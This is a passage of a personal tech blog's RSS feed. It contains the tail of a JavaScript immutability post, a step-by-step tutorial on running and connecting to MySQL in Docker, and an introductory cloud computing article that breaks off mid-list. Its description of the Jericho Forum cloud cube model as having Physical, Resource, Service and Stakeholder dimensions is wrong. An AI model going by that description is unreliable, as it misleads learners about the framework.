    <span class="hljs-keyword">let</span> map2 = map1.set(<span class="hljs-string">'b'</span>, <span class="hljs-number">50</span>);  <span class="hljs-comment">// map2 is a new Map, map1 remains unchanged</span>
    <span class="hljs-built_in">console</span>.log(map1.get(<span class="hljs-string">'b'</span>));  <span class="hljs-comment">// Output: 2</span>
    <span class="hljs-built_in">console</span>.log(map2.get(<span class="hljs-string">'b'</span>));  <span class="hljs-comment">// Output: 50</span>
</code></pre>
<ol start="3">
<li><p><strong>Copying and Updating</strong>:</p>
<ul>
<li>Instead of modifying an object or array directly, you can create a copy with the updated values.</li>
</ul>
</li>
</ol>
<pre><code class="lang-javascript">    javascriptCopy codeconst arr = [<span class="hljs-number">1</span>, <span class="hljs-number">2</span>, <span class="hljs-number">3</span>];
    <span class="hljs-keyword">const</span> newArr = [...arr, <span class="hljs-number">4</span>];  <span class="hljs-comment">// Create a new array by copying the old one and adding a new element</span>
    <span class="hljs-built_in">console</span>.log(arr);  <span class="hljs-comment">// Output: [1, 2, 3]</span>
    <span class="hljs-built_in">console</span>.log(newArr);  <span class="hljs-comment">// Output: [1, 2, 3, 4]</span>
</code></pre>
<p>Understanding mutability and immutability is crucial for managing state in JavaScript applications, especially in frameworks like React where immutability helps in optimizing re-rendering and maintaining predictable state updates.</p>
]]></content:encoded></item><item><title><![CDATA[How to setup and configure MYSQL in Docker on Linux.]]></title><description><![CDATA[To set up and configure MySQL in Docker, you can follow these steps:

Pull the MySQL Docker Image

Run the following command to pull the latest MySQL Docker image from Docker Hub:
docker pull mysql:latest


To list Docker images that have been downlo...]]></description><link>https://article.kumarchaudhary.com.np/how-to-setup-and-configure-mysql-in-docker-on-linux</link><guid isPermaLink="true">https://article.kumarchaudhary.com.np/how-to-setup-and-configure-mysql-in-docker-on-linux</guid><category><![CDATA[Docker]]></category><category><![CDATA[Linux]]></category><category><![CDATA[MySQL]]></category><category><![CDATA[Node.js]]></category><category><![CDATA[backend]]></category><category><![CDATA[Devops]]></category><dc:creator><![CDATA[Kumar Chaudhary]]></dc:creator><pubDate>Sun, 16 Jun 2024 05:39:05 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1718540138186/167a66c4-254e-4174-8f45-929706a00740.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>To set up and configure MySQL in Docker, you can follow these steps:</p>
<ol>
<li><strong>Pull the MySQL Docker Image</strong></li>
</ol>
<p>Run the following command to pull the latest MySQL Docker image from Docker Hub:</p>
<pre><code class="lang-plaintext">docker pull mysql:latest
</code></pre>
<ol start="2">
<li><p>To list Docker images that have been downloaded to your system, you can use the <code>docker images</code> command. Here’s how you can do it:</p>
<pre><code class="lang-bash"> docker images
</code></pre>
<p> This command will display a list of all Docker images that have been downloaded to your local Docker host. The output typically includes columns for the repository, tag, image ID, creation date, and size.</p>
<p> If you want to see more details about the images, you can add the <code>-a</code> flag to include intermediate image layers:</p>
<pre><code class="lang-bash"> docker images -a
</code></pre>
<p> This will show all images, including intermediate layers that are not tagged and are usually created during the build process of other images.</p>
<p> Here’s a breakdown of what each column in the output generally represents:</p>
<ul>
<li><p><strong>REPOSITORY</strong>: The repository name of the image.</p>
</li>
<li><p><strong>TAG</strong>: The tag of the image.</p>
</li>
<li><p><strong>IMAGE ID</strong>: The unique ID of the image.</p>
</li>
<li><p><strong>CREATED</strong>: When the image was created.</p>
</li>
<li><p><strong>SIZE</strong>: The disk space used by the image.</p>
</li>
</ul>
</li>
</ol>
<p>    If you have Docker running with appropriate permissions (usually as root or with <code>sudo</code>), these commands will give you a comprehensive list of all Docker images available locally on your system.</p>
<p>    The commands <code>sudo docker ps</code> and <code>sudo docker ps -a</code> are both used in Docker to list containers, but they have different behaviors:</p>
<ol>
<li><p><code>sudo docker ps</code>: This command lists only running containers. It won't show now cause we haven't run that mysql-container so don't worry even if it won't show up.</p>
<ul>
<li><p>Specifically, <code>sudo docker ps</code> displays containers that are currently in the "Up" state, meaning they are actively running.</p>
</li>
<li><p>In your example:</p>
<pre><code class="lang-basic">  CONTAINER ID   IMAGE     COMMAND                  CREATED         STATUS         PORTS                 NAMES
  a7faf2672838   mysql     <span class="hljs-string">"docker-entrypoint.s…"</span>   <span class="hljs-number">3</span> minutes ago   Up <span class="hljs-number">3</span> minutes   <span class="hljs-number">3306</span>/tcp, <span class="hljs-number">33060</span>/tcp   mysql-container
</code></pre>
<p>  This output shows that there is one container (<code>a7faf2672838</code>) running with the MySQL image.</p>
</li>
</ul>
</li>
<li><p><code>sudo docker ps -a</code>: This command lists all containers, including those that are not currently running.</p>
<ul>
<li><p><code>sudo docker ps -a</code> displays a list of all containers, regardless of their current state (running or stopped).</p>
</li>
<li><p>In your example:</p>
<pre><code class="lang-basic">  CONTAINER ID   IMAGE                      COMMAND                  CREATED         STATUS                    PORTS                 NAMES
  a7faf2672838   mysql                      <span class="hljs-string">"docker-entrypoint.s…"</span>   <span class="hljs-number">3</span> minutes ago   Up <span class="hljs-number">3</span> minutes              <span class="hljs-number">3306</span>/tcp, <span class="hljs-number">33060</span>/tcp   mysql-container
  f952f7b80cfd   redis/redis-stack:latest   <span class="hljs-string">"/entrypoint.sh"</span>         <span class="hljs-number">4</span> days ago      Exited (<span class="hljs-number">143</span>) <span class="hljs-number">3</span> days ago                         redis-stack
</code></pre>
<p>  This output shows two containers:</p>
<ul>
<li><p>One (<code>a7faf2672838</code>) is running (Up 3 minutes ago), using the MySQL image.</p>
</li>
<li><p>Another (<code>f952f7b80cfd</code>) is stopped (Exited (143) 3 days ago), using the Redis Stack image.</p>
</li>
</ul>
</li>
</ul>
</li>
</ol>
<p>        <code>sudo docker ps</code>: Lists only running containers.</p>
<p>        <code>sudo docker ps -a</code>: Lists all containers (both running and stopped).</p>
<ol start="3">
<li><strong>Create a Directory for Persistent Data</strong></li>
</ol>
<p>Create a directory on your host machine to store the persistent data for MySQL. This will ensure that your data is not lost when the container is stopped or removed.</p>
<pre><code class="lang-plaintext">mkdir ~/mysql-data
</code></pre>
<ol start="3">
<li><strong>Run the MySQL Container</strong></li>
</ol>
<p>Run the following command to create and start a new MySQL container:</p>
<pre><code class="lang-plaintext">docker run --name mysql-container -e MYSQL_ROOT_PASSWORD=your_password -v ~/mysql-data:/var/lib/mysql -d mysql
</code></pre>
<ul>
<li><p><code>--name mysql-container</code>: Assigns a name to the container for easy reference.</p>
</li>
<li><p><code>-e MYSQL_ROOT_PASSWORD=your_password</code>: Sets the root password for the MySQL server (replace <code>your_password</code> with your desired password).</p>
</li>
<li><p><code>-v ~/mysql-data:/var/lib/mysql</code>: Mounts the <code>~/mysql-data</code> directory on the host to <code>/var/lib/mysql</code> in the container, which is the location where MySQL stores its data files.</p>
</li>
<li><p><code>-d mysql</code>: Runs the <code>mysql</code> image in detached mode (in the background).</p>
<p>  <code>sudo docker ps</code>:Now this command lists all running containers.</p>
<ul>
<li><p>Specifically, <code>sudo docker ps</code> displays containers that are currently in the "Up" state, meaning they are actively running.</p>
</li>
<li><p>In your example:</p>
<pre><code class="lang-basic">  CONTAINER ID   IMAGE     COMMAND                  CREATED         STATUS         PORTS                 NAMES
  a7faf2672838   mysql     <span class="hljs-string">"docker-entrypoint.s…"</span>   <span class="hljs-number">3</span> minutes ago   Up <span class="hljs-number">3</span> minutes   <span class="hljs-number">3306</span>/tcp, <span class="hljs-number">33060</span>/tcp   mysql-container
</code></pre>
<p>  This output shows that there is one container (<code>a7faf2672838</code>) running with the MySQL image</p>
</li>
</ul>
</li>
</ul>
<p>If MySQL is running in a Docker container on your system, you can interact with it in several ways depending on what you want to do.</p>
<h3 id="heading-accessing-the-mysql-container">Accessing the MySQL Container</h3>
<p>If MySQL is running inside a Docker container (<code>mysql-container</code> in your case), you might want to access it to manage databases, execute queries, or perform administrative tasks.</p>
<h4 id="heading-accessing-mysql-shell-in-the-container">Accessing MySQL Shell in the Container</h4>
<p>You can access the MySQL shell directly from the Docker host using the <code>docker exec</code> command:</p>
<pre><code class="lang-bash">docker <span class="hljs-built_in">exec</span> -it mysql-container mysql -uroot -p
</code></pre>
<ul>
<li><p><code>-it</code>: Allows interactive terminal access.</p>
</li>
<li><p><code>mysql-container</code>: Name or ID of your MySQL container.</p>
</li>
<li><p><code>mysql -uroot -p</code>: Command to start the MySQL client as the root user (replace <code>root</code> with your MySQL username if different).</p>
</li>
</ul>
<p>You will be prompted to enter the MySQL root password. Once authenticated, you can run SQL queries and manage your MySQL databases as usual.</p>
<h3 id="heading-executing-commands-in-the-container">Executing Commands in the Container</h3>
<p>If you need to execute other commands inside the MySQL container, you can use <code>docker exec</code>:</p>
<pre><code class="lang-bash">docker <span class="hljs-built_in">exec</span> -it mysql-container bash
</code></pre>
<p>This command opens a bash shell inside the MySQL container. From there, you can navigate around and execute any commands available in the container environment.</p>
<p>Here's how you can list the databases:</p>
<ol>
<li><p><strong>Access MySQL Shell</strong>: You're already inside the MySQL shell. If you haven't executed any commands yet, you should see a prompt like <code>mysql&gt;</code>.</p>
</li>
<li><p><strong>List Databases</strong>: To list all databases in MySQL, you can use the following command:</p>
<p> So, in your MySQL shell prompt, type:</p>
<pre><code class="lang-sql"> <span class="hljs-keyword">SHOW</span> <span class="hljs-keyword">DATABASES</span>;
</code></pre>
<p> This command will display a list of databases available in your MySQL server. It typically includes system databases like <code>information_schema</code>, <code>mysql</code>, and potentially others depending on your configuration and any databases you may have created.</p>
</li>
<li><p><strong>Example Output</strong>: After running <code>SHOW DATABASES;</code>, you might see output similar to this:</p>
<pre><code class="lang-basic"> +--------------------+
 | Database           |
 +--------------------+
 | information_schema |
 | mysql              |
 | performance_schema |
 | sys                |
 +--------------------+
</code></pre>
<p> This output shows the default databases that MySQL typically creates. Your list may vary depending on your MySQL setup and any databases you've added.</p>
</li>
<li><p><strong>Configure MySQL</strong></p>
<p> Once you're connected to the MySQL server, you can execute SQL commands to create databases, users, and perform other configuration tasks as needed.</p>
<p> For example, to create a new database named <code>mydatabase</code>:</p>
<pre><code class="lang-sql"> <span class="hljs-keyword">CREATE</span> <span class="hljs-keyword">DATABASE</span> myfockerdatabase;
</code></pre>
<p> To list the databases in your MySQL server running inside the Docker container, you can use MySQL commands from within the MySQL shell you accessed using <code>docker exec</code>.</p>
</li>
<li><p><strong>Switch to</strong><code>myfockerdatabase</code>: Inside the MySQL shell, use the <code>USE</code> command to switch to the <code>myfockerdatabase</code>:</p>
<pre><code class="lang-sql"> <span class="hljs-keyword">USE</span> myfockerdatabase;
</code></pre>
<p> After executing this command, the MySQL shell will switch to using the <code>myfockerdatabase</code> for subsequent queries.</p>
</li>
<li><p><strong>Verify Current Database</strong>: To verify that you are now working in <code>myfockerdatabase</code>, you can use the <code>SELECT DATABASE();</code> command:</p>
<pre><code class="lang-sql"> <span class="hljs-keyword">SELECT</span> <span class="hljs-keyword">DATABASE</span>();
</code></pre>
<p> This will output the name of the current database, which should now be <code>myfockerdatabase</code>.</p>
</li>
<li><p><strong>Perform Operations in</strong><code>myfockerdatabase</code>: Now that you are in the <code>myfockerdatabase</code>, you can create tables, insert data, and perform other SQL operations specific to that database.</p>
<h3 id="heading-example">Example:</h3>
<p> Here's an example of how it would look in your MySQL shell session:</p>
<pre><code class="lang-sql"> mysql&gt; <span class="hljs-keyword">USE</span> myfockerdatabase;
 Database changed
 mysql&gt; <span class="hljs-keyword">SELECT</span> <span class="hljs-keyword">DATABASE</span>();
 +<span class="hljs-comment">------------------+</span>
 | DATABASE()       |
 +<span class="hljs-comment">------------------+</span>
 | myfockerdatabase |
 +<span class="hljs-comment">------------------+</span>
 1 row in <span class="hljs-keyword">set</span> (<span class="hljs-number">0.00</span> sec)

 mysql&gt; <span class="hljs-comment">-- Perform operations in myfockerdatabase</span>
 mysql&gt; <span class="hljs-keyword">CREATE</span> <span class="hljs-keyword">TABLE</span> mytable (
     -&gt; <span class="hljs-keyword">id</span> <span class="hljs-built_in">INT</span> AUTO_INCREMENT PRIMARY <span class="hljs-keyword">KEY</span>,
     -&gt; <span class="hljs-keyword">name</span> <span class="hljs-built_in">VARCHAR</span>(<span class="hljs-number">50</span>)
     -&gt; );
 Query OK, 0 rows affected (0.06 sec)

 mysql&gt; <span class="hljs-keyword">INSERT</span> <span class="hljs-keyword">INTO</span> mytable (<span class="hljs-keyword">name</span>) <span class="hljs-keyword">VALUES</span> (<span class="hljs-string">'John'</span>), (<span class="hljs-string">'Alice'</span>), (<span class="hljs-string">'Bob'</span>);
 Query OK, 3 rows affected (0.03 sec)
 Records: 3  Duplicates: 0  Warnings: 0

 mysql&gt; <span class="hljs-keyword">SELECT</span> * <span class="hljs-keyword">FROM</span> mytable;
 +<span class="hljs-comment">----+-------+</span>
 | id | name  |
 +<span class="hljs-comment">----+-------+</span>
 |  1 | John  |
 |  2 | Alice |
 |  3 | Bob   |
 +<span class="hljs-comment">----+-------+</span>
 3 rows in <span class="hljs-keyword">set</span> (<span class="hljs-number">0.00</span> sec)

 mysql&gt; <span class="hljs-comment">-- Continue working in myfockerdatabase or perform other operations as needed</span>
</code></pre>
<h3 id="heading-exiting-mysql-shell">Exiting MySQL Shell:</h3>
<p> To exit the MySQL shell and return to your Docker container’s command prompt, type:</p>
<pre><code class="lang-sql"> exit;
</code></pre>
<p> This will close the MySQL client session and bring you back to the Docker container's command line.</p>
<h3 id="heading-summary">Summary:</h3>
<ul>
<li><p>You can switch to a specific database (<code>myfockerdatabase</code> in this case) within the MySQL shell using the <code>USE</code> command.</p>
</li>
<li><p>Once inside the desired database, you can perform SQL operations specific to that database, such as creating tables, inserting data, querying data, etc.</p>
</li>
<li><p>Use <code>exit;</code> to exit the MySQL shell and return to the Docker container's command line when you're done working with the database.</p>
</li>
</ul>
</li>
</ol>
<h2 id="heading-now-lets-talk-about-how-you-can-connect-the-mysql-running-on-dokcer-to-any-mysql-client">Now Lets talk about how you can connect the mysql running on dokcer to any mysql client</h2>
<p>Yes, you can connect to a MySQL server running in a Docker container using Beekeeper Studio (or any other MySQL client) on your laptop. To do this, you'll need to ensure that the MySQL container's ports are exposed and accessible from your host machine.</p>
<p>Here are the steps to connect Beekeeper Studio to your MySQL container:</p>
<h3 id="heading-1-ensure-mysql-container-ports-are-exposed">1. Ensure MySQL Container Ports are Exposed</h3>
<p>When you start your MySQL container, you should map the container ports to your host machine ports. If you haven't already done this, you can restart your container with the necessary port mappings.</p>
<p>For example, you can start the container with the following command to map the MySQL port (3306) to your host machine:</p>
<pre><code class="lang-bash">sudo docker run --name mysql-container -e MYSQL_ROOT_PASSWORD=my-secret-pw -d -p 3306:3306 mysql
</code></pre>
<p>This command does the following:</p>
<ul>
<li><p><code>-e MYSQL_ROOT_PASSWORD=my-secret-pw</code>: Sets the root password for MySQL.</p>
</li>
<li><p><code>-d</code>: Runs the container in detached mode.</p>
</li>
<li><p><code>-p 3306:3306</code>: Maps port 3306 of the container to port 3306 of the host.</p>
</li>
</ul>
<p>If your container is already running, you can use the <code>docker run</code> command above or stop the container and restart it with the correct port mappings:</p>
<pre><code class="lang-bash">sudo docker stop mysql-container
sudo docker rm mysql-container
sudo docker run --name mysql-container -e MYSQL_ROOT_PASSWORD=my-secret-pw -d -p 3306:3306 mysql
</code></pre>
<h3 id="heading-2-find-the-host-ip-address">2. Find the Host IP Address</h3>
<p>If you are running Docker on Linux, you can connect to <a target="_blank" href="http://localhost"><code>localhost</code></a> (or <code>127.0.0.1</code>). For Docker Toolbox or Docker Desktop on Windows and Mac, you might need to find the Docker host IP.</p>
<h3 id="heading-3-connect-using-beekeeper-studio">3. Connect Using Beekeeper Studio</h3>
<ol>
<li><p><strong>Open Beekeeper Studio</strong>.</p>
</li>
<li><p><strong>Create a New Connection</strong>:</p>
<ul>
<li>Click on the "New Connection" button.</li>
</ul>
</li>
<li><p><strong>Enter Connection Details</strong>:</p>
<ul>
<li><p><strong>Connection Name</strong>: Give your connection a name.</p>
</li>
<li><p><strong>Host</strong>: Use <a target="_blank" href="http://localhost"><code>localhost</code></a> (or the IP address of your Docker host if you're not on Linux).</p>
</li>
<li><p><strong>Port</strong>: <code>3306</code></p>
</li>
<li><p><strong>Username</strong>: <code>root</code> (or any other MySQL user you've set up)</p>
</li>
<li><p><strong>Password</strong>: Enter the root password you specified (e.g., <code>my-secret-pw</code>).</p>
</li>
<li><p><strong>Database</strong>: (Optional) Specify a database if you want to connect to a specific one. You can leave this blank to connect to the default database.</p>
</li>
</ul>
</li>
<li><p><strong>Test the Connection</strong>:</p>
<ul>
<li>Click the "Test Connection" button to ensure that Beekeeper Studio can connect to your MySQL server.</li>
</ul>
</li>
<li><p><strong>Save and Connect</strong>:</p>
<ul>
<li>Once the connection is successful, save the connection and click "Connect".</li>
</ul>
</li>
</ol>
<h3 id="heading-example-1">Example</h3>
<p>Here’s a visual example of what the connection details might look like:</p>
<ul>
<li><p><strong>Host</strong>: <a target="_blank" href="http://localhost"><code>localhost</code></a></p>
</li>
<li><p><strong>Port</strong>: <code>3306</code></p>
</li>
<li><p><strong>Username</strong>: <code>root</code></p>
</li>
<li><p><strong>Password</strong>: <code>my-secret-pw</code></p>
</li>
<li><p><strong>Database</strong>: (leave it blank or specify the database you want to connect to)</p>
</li>
</ul>
<p>By following these steps, you should be able to connect to your MySQL server running in a Docker container using Beekeeper Studio on your laptop.</p>
]]></content:encoded></item><item><title><![CDATA[The Fundamental Concept of Cloud Computing]]></title><description><![CDATA[Cloud computing refers to the delivery of computing services over the internet, including servers, storage, databases, networking, software, analytics, and more. Instead of owning and maintaining physical data centers and resources, cloud computing a...]]></description><link>https://article.kumarchaudhary.com.np/the-fundamental-concept-of-cloud-computing</link><guid isPermaLink="true">https://article.kumarchaudhary.com.np/the-fundamental-concept-of-cloud-computing</guid><category><![CDATA[Cloud]]></category><category><![CDATA[Cloud Computing]]></category><category><![CDATA[Devops]]></category><category><![CDATA[backend]]></category><category><![CDATA[Programming Blogs]]></category><category><![CDATA[Computer Science]]></category><category><![CDATA[Computer Vision]]></category><dc:creator><![CDATA[Kumar Chaudhary]]></dc:creator><pubDate>Tue, 23 Apr 2024 20:10:32 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1713902980826/3fe5798f-1e5b-4e22-a4dd-ed5ebb5a5f0b.webp" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Cloud computing refers to the delivery of computing services over the internet, including servers, storage, databases, networking, software, analytics, and more. Instead of owning and maintaining physical data centers and resources, cloud computing allows users to access and pay for these resources on an as-needed basis from a cloud provider's virtual data center. The key components of cloud computing include:</p>
<ol>
<li><p>Cloud Infrastructure: This refers to the physical hardware resources, such as servers, storage devices, and networking components, that are housed in the cloud provider's data centers. Cloud providers maintain and manage this infrastructure, ensuring high availability, scalability, and security.</p>
</li>
<li><p>Virtualization: Cloud computing heavily relies on virtualization technology, which allows multiple virtual machines or environments to run on a single physical server. This maximizes resource utilization and enables scalability by easily creating or decommissioning virtual instances as needed.</p>
</li>
<li><p>Cloud Services: Cloud providers offer a range of services that can be categorized as follows:</p>
<ul>
<li><p>Infrastructure as a Service (IaaS): Provides virtualized computing resources, such as virtual machines, storage, and networking, allowing users to deploy and manage their own operating systems and applications.</p>
</li>
<li><p>Platform as a Service (PaaS): Offers a platform for developing, testing, and deploying applications, including programming languages, libraries, tools, and services.</p>
</li>
<li><p>Software as a Service (SaaS): Delivers software applications over the internet, where the provider manages the application, data, and underlying infrastructure.</p>
</li>
</ul>
</li>
<li><p>Cloud Deployment Models:</p>
<ul>
<li><p>Public Cloud: Cloud resources are owned and operated by third-party cloud service providers and delivered over the internet.</p>
</li>
<li><p>Private Cloud: Cloud infrastructure is dedicated to a single organization and can be hosted on-premises or by a third-party provider.</p>
</li>
<li><p>Hybrid Cloud: A combination of public and private clouds, allowing applications and data to move between them as needed.</p>
</li>
</ul>
</li>
<li><p>Cloud Storage: Cloud providers offer scalable and durable storage solutions, such as object storage, block storage, and file storage, enabling users to store and retrieve data from anywhere with internet access.</p>
</li>
<li><p>Cloud Networking: Cloud computing relies on robust networking infrastructure to connect users to cloud resources and facilitate communication between different components within the cloud.</p>
</li>
<li><p>Cloud Security: Cloud providers implement various security measures, such as encryption, access controls, and compliance standards, to protect user data and applications hosted in the cloud.</p>
</li>
<li><p>Cloud Management and Monitoring: Cloud platforms provide tools and interfaces for managing and monitoring cloud resources, including resource provisioning, scaling, performance monitoring, and cost management.</p>
</li>
</ol>
<p>The combination of these components enables organizations to leverage cloud computing for various benefits, such as scalability, cost-efficiency, flexibility, and access to advanced technologies and services.</p>
<h3 id="heading-cloud-based-services-and-its-challenging-aspects">Cloud Based Services and it's Challenging aspects</h3>
<p>Cloud-based services refer to the delivery of various computing resources and software applications over the internet, leveraging the cloud computing model. These services are typically provided by cloud service providers (CSPs) and can be classified into three main categories:</p>
<ol>
<li><p>Infrastructure as a Service (IaaS): IaaS providers offer virtualized computing resources, such as virtual machines, storage, networks, and other fundamental computing resources. Examples include Amazon Web Services (AWS) EC2, Microsoft Azure Virtual Machines, and Google Compute Engine.</p>
</li>
<li><p>Platform as a Service (PaaS): PaaS providers offer a platform and environment for developing, testing, deploying, and managing applications. They provide pre-configured runtime environments, development tools, databases, and other services necessary for application development. Examples include AWS Elastic Beanstalk, Google App Engine, and Microsoft Azure App Service.</p>
</li>
<li><p>Software as a Service (SaaS): SaaS providers deliver software applications over the internet, where the applications are hosted and managed by the provider. Users access these applications through web browsers or client applications. Examples include Microsoft Office 365, Salesforce, Google Workspace (formerly G Suite), and Dropbox.</p>
</li>
</ol>
<p>While cloud-based services offer numerous benefits, such as scalability, cost-efficiency, and access to advanced technologies, there are several challenges associated with cloud computing:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1713902093220/71ae98a0-542f-458b-940c-5af401ab2715.png" alt class="image--center mx-auto" /></p>
<ol>
<li><p>Security and Compliance: Ensuring data security, privacy, and compliance with regulatory requirements is a significant challenge when using cloud services, as data and applications are hosted and managed by third-party providers.</p>
</li>
<li><p>Data Portability and Vendor Lock-in: Moving data and applications between different cloud providers or back to on-premises infrastructure can be challenging due to potential vendor lock-in and the lack of standardized data formats and APIs.</p>
</li>
<li><p>Connectivity and Performance: Cloud services rely heavily on internet connectivity, and poor network performance or outages can impact the availability and performance of cloud-based applications and services.</p>
</li>
<li><p>Cost Management: While cloud services can be cost-effective, managing and optimizing cloud costs can be challenging, particularly as usage and consumption patterns change over time.</p>
</li>
<li><p>Governance and Control: Organizations may face challenges in maintaining governance, control, and visibility over their cloud resources, especially in multi-cloud or hybrid cloud environments.</p>
</li>
<li><p>Scalability and Capacity Planning: Predicting and planning for scalability and capacity requirements can be difficult, as demand for cloud resources can fluctuate rapidly.</p>
</li>
<li><p>Skill Gap and Cultural Shift: Adopting cloud computing often requires organizations to develop new skills and undergo a cultural shift, which can be challenging for some organizations.</p>
</li>
</ol>
<p>To address these challenges, organizations need to implement robust security measures, carefully plan their cloud strategy, manage costs effectively, ensure proper governance and compliance, and invest in employee training and skill development for cloud technologies.</p>
<h3 id="heading-cloud-computing-deployments-models">Cloud computing deployments models</h3>
<p>Cloud computing deployments can be categorized into four main models: public cloud, private cloud, hybrid cloud, and multi-cloud. Each model offers different levels of control, security, and flexibility, catering to various organizational requirements and use cases. Here's an overview of these deployment models:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1713902140364/dddcd0e4-9364-4f5a-a6a5-c249b3cc46f3.png" alt class="image--center mx-auto" /></p>
<ol>
<li><p>Public Cloud: In a public cloud model, computing resources (such as servers, storage, and applications) are owned and operated by third-party cloud service providers (CSPs) and delivered over the internet. These resources are shared among multiple organizations or users, and the infrastructure is managed and maintained by the CSP. Examples of public cloud providers include Amazon Web Services (AWS), Microsoft Azure, and Google Cloud Platform (GCP).</p>
</li>
<li><p>Private Cloud: A private cloud is a cloud computing environment dedicated to a single organization, providing more control and privacy. The infrastructure can be hosted on-premises (within the organization's data center) or by a third-party service provider. Private clouds offer increased security, customization, and control over the computing resources, but they require significant investment and management efforts from the organization.</p>
</li>
<li><p>Hybrid Cloud: A hybrid cloud is a combination of public and private cloud environments, where applications and data can move between the two environments as needed. This model allows organizations to leverage the scalability and cost-effectiveness of public clouds while keeping sensitive or mission-critical workloads in their private cloud environment. Organizations can take advantage of the best features of both deployment models, optimizing their resources and workloads based on specific requirements.</p>
</li>
<li><p>Multi-Cloud: A multi-cloud strategy involves using multiple public cloud services from different providers within a single heterogeneous architecture. This approach helps organizations avoid vendor lock-in, distribute workloads across multiple clouds for better performance and redundancy, and access specialized services from different providers. However, managing and integrating multiple cloud environments can be complex and requires robust governance and management tools.</p>
</li>
</ol>
<p>The choice of deployment model depends on various factors, such as organization size, security and compliance requirements, workload characteristics, cost considerations, and the desired level of control and flexibility. Some organizations may adopt a single deployment model, while others may choose a combination of models to meet their specific needs.</p>
<p>It's important to note that cloud deployment models are not mutually exclusive, and organizations can adopt a hybrid or multi-cloud approach to leverage the benefits of different models while mitigating potential risks and limitations.</p>
<h3 id="heading-difference-between-cloud-computing-and-distributed-computing">Difference between cloud computing and distributed computing</h3>
<div class="hn-table">
<table>
<thead>
<tr>
<td>Aspect</td><td>Distributed Computing</td><td>Cloud Computing</td></tr>
</thead>
<tbody>
<tr>
<td>Resource Ownership</td><td>Resources are owned and managed by the organization</td><td>Resources are owned and managed by cloud service providers</td></tr>
<tr>
<td>Resource Location</td><td>Resources are distributed across multiple locations/systems within the organization</td><td>Resources are centralized in the cloud provider's data centers</td></tr>
<tr>
<td>Access</td><td>Resources are accessed within the organization's network</td><td>Resources are accessed over the internet</td></tr>
<tr>
<td>Scalability</td><td>Scalability is limited by the organization's own resources</td><td>Scalability is virtually unlimited and on-demand</td></tr>
<tr>
<td>Cost Model</td><td>High upfront costs for hardware and maintenance</td><td>Pay-as-you-go or subscription-based pricing model</td></tr>
<tr>
<td>Management</td><td>Organization is responsible for managing and maintaining all resources</td><td>Cloud provider manages and maintains the resources</td></tr>
<tr>
<td>Use Case</td><td>Typically used for computationally intensive tasks or parallel processing</td><td>Used for a wide range of applications, services, and workloads</td></tr>
<tr>
<td>Examples</td><td>Grid computing, cluster computing</td><td>Amazon Web Services (AWS), Microsoft Azure, Google Cloud Platform (GCP)</td></tr>
</tbody>
</table>
</div><p>This tabular format provides a simple and easy-to-remember comparison between distributed computing and cloud computing, focusing on key aspects such as resource ownership, location, access, scalability, cost model, management, and typical use cases.</p>
<h3 id="heading-cloud-reference-model-with-example">Cloud reference model with example</h3>
<p>The cloud reference model is a conceptual framework that defines the essential components and layers of cloud computing. It provides a standardized way of understanding and discussing cloud services. The National Institute of Standards and Technology (NIST) has developed a widely accepted cloud reference model, which consists of the following components:</p>
<ol>
<li><p>Cloud Essential Characteristics:</p>
<ul>
<li><p>On-demand self-service</p>
</li>
<li><p>Broad network access</p>
</li>
<li><p>Resource pooling</p>
</li>
<li><p>Rapid elasticity</p>
</li>
<li><p>Measured service</p>
</li>
</ul>
</li>
<li><p>Cloud Service Models:</p>
<ul>
<li><p>Software as a Service (SaaS): Applications running on the cloud infrastructure and accessed via web browsers or client applications (e.g., Google Workspace, Salesforce, Dropbox).</p>
</li>
<li><p>Platform as a Service (PaaS): Provides a platform for developing, testing, deploying, and managing applications (e.g., Google App Engine, AWS Elastic Beanstalk, Microsoft Azure App Service).</p>
</li>
<li><p>Infrastructure as a Service (IaaS): Provides virtualized computing resources such as servers, storage, and networking (e.g., Amazon EC2, Microsoft Azure Virtual Machines, Google Compute Engine).</p>
</li>
</ul>
</li>
<li><p>Cloud Deployment Models:</p>
<ul>
<li><p>Public Cloud: Cloud infrastructure owned and operated by cloud service providers and shared among multiple customers (e.g., AWS, Microsoft Azure, Google Cloud Platform).</p>
</li>
<li><p>Private Cloud: Cloud infrastructure provisioned for exclusive use by a single organization, either on-premises or hosted by a third-party.</p>
</li>
<li><p>Hybrid Cloud: A composition of two or more distinct cloud infrastructures (public and private) that remain unique entities but are bound together by standardized technology (e.g., an organization using a combination of public cloud for non-sensitive workloads and private cloud for sensitive data).</p>
</li>
<li><p>Community Cloud: Cloud infrastructure provisioned for exclusive use by a specific community of consumers from organizations with shared concerns (e.g., government agencies, financial institutions).</p>
</li>
</ul>
</li>
</ol>
<p>Example: Let's consider a typical scenario where an organization uses a hybrid cloud deployment model.</p>
<ul>
<li><p>The organization uses a private cloud infrastructure hosted on-premises for sensitive data and mission-critical applications that require strict security and control.</p>
</li>
<li><p>They leverage a public cloud service provider, such as Amazon Web Services (AWS), for their customer-facing web applications, utilizing the Elastic Compute Cloud (EC2) for virtual servers and the Simple Storage Service (S3) for object storage (IaaS).</p>
</li>
<li><p>The organization also uses a Platform as a Service (PaaS) offering from AWS, such as Elastic Beanstalk, to develop, deploy, and manage their web applications.</p>
</li>
<li><p>Additionally, they subscribe to a Software as a Service (SaaS) solution like Salesforce for their customer relationship management (CRM) needs.</p>
</li>
</ul>
<p>In this example, the organization leverages the benefits of both private and public cloud models, utilizing different cloud service models (IaaS, PaaS, and SaaS) to meet their diverse computing needs while adhering to security and compliance requirements.</p>
<h3 id="heading-cloud-cube-models">Cloud Cube Models</h3>
<p>The cloud cube model, proposed by Jericho Forum, is a conceptual framework that helps organizations understand and analyze the various aspects of cloud computing. It consists of four dimensions: Physical, Resource, Service, and Stakeholder. These dimensions form a cube structure, allowing for a comprehensive examination of cloud computing services and their associated risks, benefits, and considerations.</p>
<p>Here are the four dimensions of the cloud cube model:</p>
<ol>
<li><p>Physical Dimension:</p>
<ul>
<li><p>This dimension represents the physical location of the cloud infrastructure and data.</p>
</li>
<li><p>It addresses concerns related to data sovereignty, legal jurisdiction, and compliance with regulations based on geographical location.</p>
</li>
<li><p>Examples: On-premise, Off-shore, Within Country, Within Region.</p>
</li>
</ul>
</li>
